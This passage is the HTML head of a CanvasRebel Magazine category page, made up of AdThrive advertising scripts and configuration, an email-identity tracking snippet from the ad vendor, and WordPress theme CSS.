1<!DOCTYPE html> 2<html lang="en-US" class="no-js scheme_default"> 3<head> 4
4<script data-no-optimize="1" data-cfasync="false">!function(){"use strict";const t={adt_ei:{identityApiKey:"plainText",source:"url",type:"plaintext",priority:1},adt_eih:{identityApiKey:"sha256",source:"urlh",type:"hashed",priority:2},sh_kit:{identityApiKey:"sha256",source:"urlhck",type:"hashed",priority:3}},e=Object.keys(t);function i(t){return function(t){const e=t.match(/((?=([a-z0-9._!#$%+^&*()[\]<>-]+))\2@[a-z0-9._-]+\.[a-z0-9._-]+)/gi);return e?e[0]:""}(function(t){return t.replace(/\s/g,"")}(t.toLowerCase()))}!async function(){const n=new URL(window.location.href),o=n.searchParams;let a=null;const r=Object.entries(t).sort(([,t],[,e])=>t.priority-e.priority).map(([t])=>t);for(const e of r){const n=o.get(e),r=t[e];if(!n||!r)continue;const c=decodeURIComponent(n),d="plaintext"===r.type&&i(c),s="hashed"===r.type&&c;if(d||s){a={value:c,config:r};break}}if(a){const{value:t,config:e}=a;window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(function(){window.adthrive.identityApi({source:e.source,[e.identityApiKey]:t},({success:i,data:n})=>{i?window.adthrive.log("info","Plugin","detectEmails",`Identity API called with ${e.type} email: ${t}`,n):window.adthrive.log("warning","Plugin","detectEmails",`Failed to call Identity API with ${e.type} email: ${t}`,n)})})}!function(t,e){const i=new URL(e);t.forEach(t=>i.searchParams.delete(t)),history.replaceState(null,"",i.toString())}(e,n)}()}(); 5</script>
5 <meta charset="UTF-8"> 6 <meta name="viewport" content="width=device-width, initial-scale=1"> 7 <meta name="format-detection" content="telephone=no"> 8 <link rel="profile" href="//gmpg.org/xfn/11"> 9 <title>Strategy – CanvasRebel Magazine</title> 10<meta name='robots' content='max-image-preview:large' /> 11<style data-no-optimize="1" data-cfasync="false"> 12 .adthrive-ad { 13 margin-top: 10px; 14 margin-bottom: 10px; 15 text-align: center; 16 overflow-x: visible; 17 clear: both; 18 line-height: 0; 19 } 20 body:not(.single) .adthrive-footer-message { 21 margin-bottom:0; 22 padding-bottom: 100px; 23} 24body.single .adthrive-sidebar.adthrive-stuck { 25 margin-top: 70px; 26} 27</style>
28<script data-no-optimize="1" data-cfasync="false"> 29 window.adthriveCLS = { 30 enabledLocations: ['Content', 'Recipe'], 31 injectedSlots: [], 32 injectedFromPlugin: true, 33 branch: 'e328f0f',bucket: 'prod', }; 34 window.adthriveCLS.siteAds = {"betaTester":false,"targeting":[{"value":"6386cd04b9adab5825adb1d0","key":"siteId"},{"value":"6233884dbfd02770888d138f","key":"organizationId"},{"value":"CanvasRebel","key":"siteName"},{"value":"AdThrive Edge","key":"service"},{"value":"on","key":"bidding"},{"value":["Personal Finance"],"key":"verticals"}],"siteUrl":"https://canvasrebel.com/","siteId":"6386cd04b9adab5825adb1d0","siteName":"CanvasRebel","breakpoints":{"tablet":768,"desktop":1024},"cloudflare":{"version":"1.0.0"},"adUnits":[{"sequence":1,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"}],"devices":["desktop"],"name":"Sidebar_1","sticky":false,"location":"Sidebar","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".sidebar","skip":0,"classNames":[],"position":"afterbegin","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":299,"autosize":true},{"sequence":9,"thirdPartyAdUnitName":null,"targeting":[{"value":["Sidebar"],"key":"location"}],"devices":["desktop"],"name":"Sidebar_9","sticky":false,"location":"Sidebar","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":".sidebar","skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[160,600],[336,280],[320,50],[300,600],[250,250],[1,1],[320,100],[300,1050],[300,50],[300,420],[300,250]],"priority":291,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Content"],"key":"location"}],"devices":["tablet","phone"],"name":"Content","sticky":false,"location":"Content","dynamic":{"pageSelector":"body.single, body.page:not(.home):not(.page-id-22987):not(.page-id-22992)","spacing":0.85,"max":4,"lazyMax":95,"enable":true,"lazy":true,"elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(h5):not(.post_info_vertical)","skip":3,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[970,90],[250,250],[1,1],[320,100],[970,250],[1,2],[300,50],[300,300],[552,334],[728,250],[300,250]],"priority":199,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Below Post"],"key":"location"}],"devices":["desktop","tablet","phone"],"name":"Below_Post","sticky":false,"location":"Below Post","dynamic":{"pageSelector":"body.single","spacing":1,"max":0,"lazyMax":10,"enable":true,"lazy":true,"elementSelector":".post_footer, .comment-list > li","skip":0,"classNames":[],"position":"afterend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[728,90],[336,280],[320,50],[468,60],[250,250],[1,1],[320,100],[300,250],[970,250],[728,250]],"priority":99,"autosize":true},{"sequence":null,"thirdPartyAdUnitName":null,"targeting":[{"value":["Footer"],"key":"location"},{"value":true,"key":"sticky"}],"devices":["desktop","phone","tablet"],"name":"Footer","sticky":true,"location":"Footer","dynamic":{"pageSelector":"","spacing":0,"max":1,"lazyMax":null,"enable":true,"lazy":false,"elementSelector":"body","
34skip":0,"classNames":[],"position":"beforeend","every":1,"enabled":true},"stickyOverlapSelector":"","adSizes":[[320,50],[320,100],[728,90],[970,90],[468,60],[1,1],[300,50]],"priority":-1,"autosize":true}],"adDensityLayout":{"mobile":{"adDensity":0.24,"onePerViewport":false},"pageOverrides":[],"desktop":{"adDensity":0.2,"onePerViewport":false}},"adDensityEnabled":true,"siteExperiments":[],"adTypes":{"sponsorTileDesktop":true,"interscrollerDesktop":true,"nativeBelowPostDesktop":true,"miniscroller":true,"largeFormatsMobile":true,"nativeMobileContent":true,"inRecipeRecommendationMobile":true,"nativeMobileRecipe":true,"sponsorTileMobile":true,"expandableCatalogAdsMobile":true,"frameAdsMobile":true,"outstreamMobile":true,"nativeHeaderMobile":true,"frameAdsDesktop":true,"inRecipeRecommendationDesktop":true,"expandableFooterDesktop":true,"nativeDesktopContent":true,"outstreamDesktop":true,"animatedFooter":true,"skylineHeader":false,"expandableFooter":true,"nativeDesktopSidebar":true,"videoFootersMobile":true,"videoFootersDesktop":true,"interscroller":true,"nativeDesktopRecipe":true,"nativeHeaderDesktop":true,"nativeBelowPostMobile":true,"expandableCatalogAdsDesktop":true,"largeFormatsDesktop":true},"adOptions":{"theTradeDesk":true,"thirdPartyCmp":{"enabled":false,"vendor":null,"injectPrivacyPreferencesLink":false},"usCmpClickWrap":{"enabled":false,"regions":[]},"undertone":true,"sidebarConfig":{"dynamicStickySidebar":{"minHeight":1800,"enabled":true,"blockedSelectors":[]}},"footerCloseButton":true,"teads":true,"seedtag":true,"pmp":true,"sharethrough":true,"desktopInterstitialFrequency":"full","optimizeVideoPlayersForEarnings":true,"removeVideoTitleWrapper":true,"pubMatic":true,"mobileInterstitialFrequency":"full","contentTermsFooterEnabled":true,"chicory":false,"infiniteScroll":false,"longerVideoAdPod":true,"yahoossp":true,"spa":false,"stickyContainerConfig":{"recipeDesktop":{"minHeight":null,"enabled":false},"blockedSelectors":[],"stickyHeaderSelectors":[],"content":{"minHeight":null,"enabled":false},"recipeMobile":{"minHeight":null,"enabled":false}},"gatedPrint":{"printClasses":[],"siteEmailServiceProviderId":null,"defaultOptIn":false,"closeButtonEnabled":false,"enabled":false,"newsletterPromptEnabled":false},"equativ":true,"yieldmo":true,"californiaPrivacyPopup":{"privacyPolicyUrl":null,"enabled":false,"termsOfServiceUrl":null},"footerSelector":"","consentMode":{"enabled":false,"customVendorList":""},"amazonUAM":true,"gamMCMEnabled":true,"gamMCMChildNetworkCode":"22852550495","rubicon":true,"restartStickyVideoPlayersAfterClose":true,"conversant":true,"openx":true,"customCreativeEnabled":true,"secColor":"#000000","unruly":true,"bRealTime":true,"adInViewTime":null,"regulatory":{"privacyPolicyUrl":"https://canvasrebel.com/canvasrebel-privacy-terms-of-service/","termsOfServiceUrl":"https://canvasrebel.com/canvasrebel-privacy-terms-of-service/"}
34,"gumgum":true,"comscoreFooter":true,"desktopInterstitial":true,"contentAdXExpansionDesktop":true,"amx":true,"footerCloseButtonDesktop":false,"ozone":true,"isAutoOptimized":false,"trustx":true,"comscoreTAL":true,"bgColor":"#FFFFFF","advancePlaylistOptions":{"playlistPlayer":{"enabled":true},"relatedPlayer":{"enabled":true,"applyToFirst":true}},"kargo":true,"liveRampATS":true,"footerCloseButtonMobile":false,"interstitialBlockedPageSelectors":"","prioritizeShorterVideoAds":true,"allowSmallerAdSizes":true,"comscore":"Lifestyle","blis":true,"wakeLock":{"desktopEnabled":true,"mobileValue":45,"mobileEnabled":true,"desktopValue":90},"mobileInterstitial":true,"tripleLift":true,"sensitiveCategories":["alc","ast","cbd","cosm","dat","gamc","rel","srh","ske","wtl","pol"],"liveRamp":true,"mobileInterstitialBlockedPageSelectors":"","adthriveEmailIdentity":true,"criteo":true,"nativo":true,"infiniteScrollOptions":{"selector":"","heightThreshold":0},"siteAttributes":{"mobileHeaderSelectors":[],"desktopHeaderSelectors":[]},"dynamicContentSlotLazyLoading":true,"clsOptimizedAds":true,"ogury":true,"verticals":["Personal Finance"],"inImage":false,"stackadapt":true,"usCMP":{"hideConsentParagraph":false,"regions":["AL","AK","AZ","AR","CA","CO","CT","DE","FL","GA","HI","ID","IL","IN","IA","KS","KY","LA","ME","MD","MA","MI","MN","MS","MO","MT","NE","NV","NH","NJ","NM","NY","NC","ND","OH","OK","OR","PA","RI","SC","SD","TN","TX","UT","VT","VA","WA","WV","WI","WY"],"defaultOptIn":true,"enabled":true,"strictMode":false},"contentAdXExpansionMobile":true,"advancePlaylist":true,"medianet":true,"acAlwaysSticky":false,"delayLoading":false,"inImageZone":null,"appNexus":true,"rise":true,"liveRampId":"","infiniteScrollRefresh":false,"indexExchange":true},"siteAdsProfiles":[],"thirdPartySiteConfig":{"partners":{"discounts":[]}},"featureRollouts":{"disable-kargo-spotlight":{"featureRolloutId":45,"data":null,"enabled":false}},"organizationData":{"organizationId":"6233884dbfd02770888d138f","multiSiteOrg":true},"videoPlayers":{"contextual":{"autoplayCollapsibleEnabled":false,"overrideEmbedLocation":false,"defaultPlayerType":"static"},"videoEmbed":"wordpress","footerSelector":"","contentSpecificPlaylists":[],"players":[{"playlistId":"lC79uqHh","pageSelector":"","devices":["mobile","desktop"],"description":"","skip":0,"title":"Stationary related player - desktop and mobile","type":"stationaryRelated","enabled":true,"formattedType":"Stationary Related","elementSelector":"","id":4080850,"position":"","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"Stationary related player - desktop and mobile","playerId":"tZD72WCd"},{"playlistId":"lC79uqHh","thirdPartyVideoAdUnitName":"","pageSelector":"body.single","devices":["mobile"],"mobileLocation":"top-center","description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":true,"formattedType":"Sticky Playlist","elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(h5):not(.post_info_vertical)","id":4080851,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"MY LATEST VIDEOS","mobileHeaderSelector":".elementor-element-fb7d4a1","playerId":"tZD72WCd"},{"playlistId":"lC79uqHh","thirdPartyVideoAdUnitName":"","pageSelector":"body.single","devices":["desktop"],"description":"","skip":1,"title":"","type":"stickyPlaylist","enabled":true,"formattedType":"Sticky Playlist","elementSelector":".entry-content > *:not(h2):not(h3):not(h4):not(h5):not(.post_info_vertical)","id":4080852,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"adPlayerTitle":"MY LATEST VIDEOS","mobileHeaderSelector":null,"playerId":"tZD72WCd"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":true},"blockedPageSelectors":"","mobileLocation":null,"thirdPartyGamAdUnitName":null,"allowOnHomepage":false,"mobile":{"enabled":true},"saveVideoCloseState":false,"mobileHeaderSelector":"","allowForPageWithStickyPlayer":{"enabled":true}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
vendor: 1 bytes, line 34
34
35<script data-no-optimize="1" data-cfasync="false"> 36(function(w, d) { 37 w.adthrive = w.adthrive || {}; 38 w.adthrive.cmd = w.adthrive.cmd || []; 39 w.adthrive.plugin = 'adthrive-ads-3.13.0'; 40 w.adthrive.host = 'ads.adthrive.com'; 41 w.adthrive.integration = 'plugin'; 42 var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : ''; 43 var s = d.createElement('script'); 44 s.async = true; 45 s.referrerpolicy='no-referrer-when-downgrade'; 46 s.src = 'https://' + w.adthrive.host + '/sites/6386cd04b9adab5825adb1d0/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + ''; 47 var n = d.getElementsByTagName('script')[0]; 48 n.parentNode.insertBefore(s, n); 49})(window, document); 50</script>
50 51<link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin><link rel='dns-prefetch' href='//fonts.googleapis.com' /> 52<link rel="alternate" type="application/rss+xml" title="CanvasRebel Magazine » Feed" href="https://canvasrebel.com/feed/" /> 53<link rel="alternate" type="application/rss+xml" title="CanvasRebel Magazine » Comments Feed" href="https://canvasrebel.com/comments/feed/" /> 54<link rel="alternate" type="application/rss+xml" title="CanvasRebel Magazine » Strategy Category Feed" href="https://canvasrebel.com/category/strategy/feed/" /> 55 <meta property="og:type" content="website" /> 56 <meta property="og:site_name" content="CanvasRebel Magazine" /> 57 <meta property="og:description" content="Conversations with Entrepreneurs, Artists & Creatives" /> 58 <meta property="og:image" content="https://cdn.canvasrebel.com/wp-content/uploads/2020/04/logo.png" /> 59 <style id="wp-img-auto-sizes-contain-inline-css"> 60img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 61/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 62</style> 63<link property="stylesheet" rel='alternate stylesheet' id='powerkit-icons-css' href='https://canvasrebel.com/wp-content/plugins/powerkit/assets/fonts/powerkit-icons.woff?ver=3.1.1' as='font' type='font/wof' crossorigin /> 64<link property="stylesheet" rel='stylesheet' id='powerkit-css' href='https://canvasrebel.com/wp-content/plugins/powerkit/assets/css/powerkit.css?ver=3.1.1' media='all' /> 65<style id="wp-emoji-styles-inline-css"> 66 img.wp-smiley, img.emoji { 67 display: inline !important; 68 border: none !important; 69 box-shadow: none !important; 70 height: 1em !important; 71 width: 1em !important; 72 margin: 0 0.07em !important; 73 vertical-align: -0.1em !important; 74 background: none !important; 75 padding: 0 !important; 76 } 77/*# sourceURL=wp-emoji-styles-inline-css */ 78</style> 79<link property="stylesheet" rel='stylesheet' id='wp-block-library-css' href='https://canvasrebel.com/wp-includes/css/dist/block-library/style.min.css?ver=4eccbeb59b33e14c32efe5f7a9710e41' media='all' /> 80<style id="global-styles-inline-css"> 81:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--color--bg-color: #ffffff;--wp--preset--color--bd-color: #E6EFF6;--wp--preset--color--bd-hover: #D2D4D4;--wp--preset--color--text-dark: #012650;--wp--preset--color--text-light: #A8B0B8;--wp--preset--color--text-link: #EE4D45;--wp--preset--color--text-hover: #1157A2;--wp--preset--color--text-link-2: #1157A2;--wp--preset--color--text-hover-2: #26A9E1;--wp--preset--color--text-link-3: #C5A48E;--wp--preset--color--text-hover-3: #AB8E7A;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
81--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--gradient--vertical-link-to-hover: linear-gradient(to bottom,var(--theme-color-text_link) 0%,var(--theme-color-text_hover) 100%);--wp--preset--gradient--diagonal-link-to-hover: linear-gradient(to bottom right,var(--theme-color-text_link) 0%,var(--theme-color-text_hover) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: clamp(14px, 0.875rem + ((1vw - 3.2px) * 0.619), 20px);--wp--preset--font-size--large: clamp(22.041px, 1.378rem + ((1vw - 3.2px) * 1.439), 36px);--wp--preset--font-size--x-large: clamp(25.014px, 1.563rem + ((1vw - 3.2px) * 1.751), 42px);--wp--preset--font-family--p-font: Sintony,serif;--wp--preset--font-family--alter-font: "PT Serif",sans-serif;--wp--preset--font-family--post-font: inherit;--wp--preset--font-family--h-1-font: Cardo,sans-serif;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);--wp--custom--spacing--tiny: var(--sc-space-tiny, 1rem);--wp--custom--spacing--small: var(--sc-space-small, 2rem);--wp--custom--spacing--medium: var(--sc-space-medium, 3.3333rem);--wp--custom--spacing--large: var(--sc-space-large, 6.6667rem);--wp--custom--spacing--huge: var(--sc-space-huge, 8.6667rem);}.wp-block-button{--wp--preset--dimension--25: 25%;--wp--preset--dimension--50: 50%;--wp--preset--dimension--75: 75%;--wp--preset--dimension--100: 100%;}:root { --wp--style--global--content-size: 850px;--wp--style--global--wide-size: 1290px; }:where(body) { margin: 0; }.wp-site-blocks > .alignleft { float: left; margin-right: 2em; }.wp-site-blocks > .alignright { float: right; margin-left: 2em; }.wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}.is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}.is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}.is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}.is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-bg-color-color{color: var(--wp--preset--color--bg-color) !important;}.has-bd-color-color{color: var(--wp--preset--color--bd-color) !important;}.has-bd-hover-color{color: var(--wp--preset--color--bd-hover) !important;}.has-text-dark-color{color: var(--wp--preset--color--text-dark) !important;}.has-text-light-color{color: var(--wp--preset--color--text-light) !important;}.has-text-link-color{color: var(--wp--preset--color--text-link) !important;}.has-text-hover-color{color: var(--wp--preset--color--text-hover) !important;}.has-text-link-2-color{color: var(--wp--preset--color--text-link-2) !important;}.has-text-hover-2-color{color: var(--wp--preset--color--text-hover-2) !important;}.has-text-link-3-color{color: var(--wp--preset--color--text-link-3) !important;}.has-text-hover-3-color{color: var(--wp--preset--color--text-hover-3) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-bg-color-background-color{background-color: var(--wp--preset--color--bg-color) !important;}.has-bd-color-background-color{background-color: var(--wp--preset--color--bd-color) !important;}.has-bd-hover-background-color{background-color: var(--wp--preset--color--bd-hover) !important;}.has-text-dark-background-color{background-color: var(--wp--preset--color--text-dark) !important;}.has-text-light-background-color{background-color: var(--wp--preset--color--text-light) !important;}.has-text-link-background-color{background-color: var(--wp--preset--color--text-link) !important;}.has-text-hover-background-color{background-color: var(--wp--preset--color--text-hover) !important;}.has-text-link-2-background-color{background-color: var(--wp--preset--color--text-link-2) !important;}.has-text-hover-2-background-color{background-color: var(--wp--preset--color--text-hover-2) !important;}.has-text-link-3-background-color{background-color: var(--wp--preset--color--text-link-3) !important;}.has-text-hover-3-background-color{background-color: var(--wp--preset--color--text-hover-3) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-bg-color-border-color{border-color: var(--wp--preset--color--bg-color) !important;}.has-bd-color-border-color{border-color: var(--wp--preset--color--bd-color) !important;}.has-bd-hover-border-color{border-color: var(--wp--preset--color--bd-hover) !important;}.has-text-dark-border-color{border-color: var(--wp--preset--color--text-dark) !important;}.has-text-light-border-color{border-color: var(--wp--preset--color--text-light) !important;}.has-text-link-border-color{border-color: var(--wp--preset--color--text-link) !important;}.has-text-hover-border-color{border-color: var(--wp--preset--color--text-hover) !important;}.has-text-link-2-border-color{border-color: var(--wp--preset--color--text-link-2) !important;}.has-text-hover-2-border-color{border-color: var(--wp--preset--color--text-hover-2) !important;}.has-text-link-3-border-color{border-color: var(--wp--preset--color--text-link-3) !important;}.has-text-hover-3-border-color{border-color: var(--wp--preset--color--text-hover-3) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
81.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-vertical-link-to-hover-gradient-background{background: var(--wp--preset--gradient--vertical-link-to-hover) !important;}.has-diagonal-link-to-hover-gradient-background{background: var(--wp--preset--gradient--diagonal-link-to-hover) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-p-font-font-family{font-family: var(--wp--preset--font-family--p-font) !important;}.has-alter-font-font-family{font-family: var(--wp--preset--font-family--alter-font) 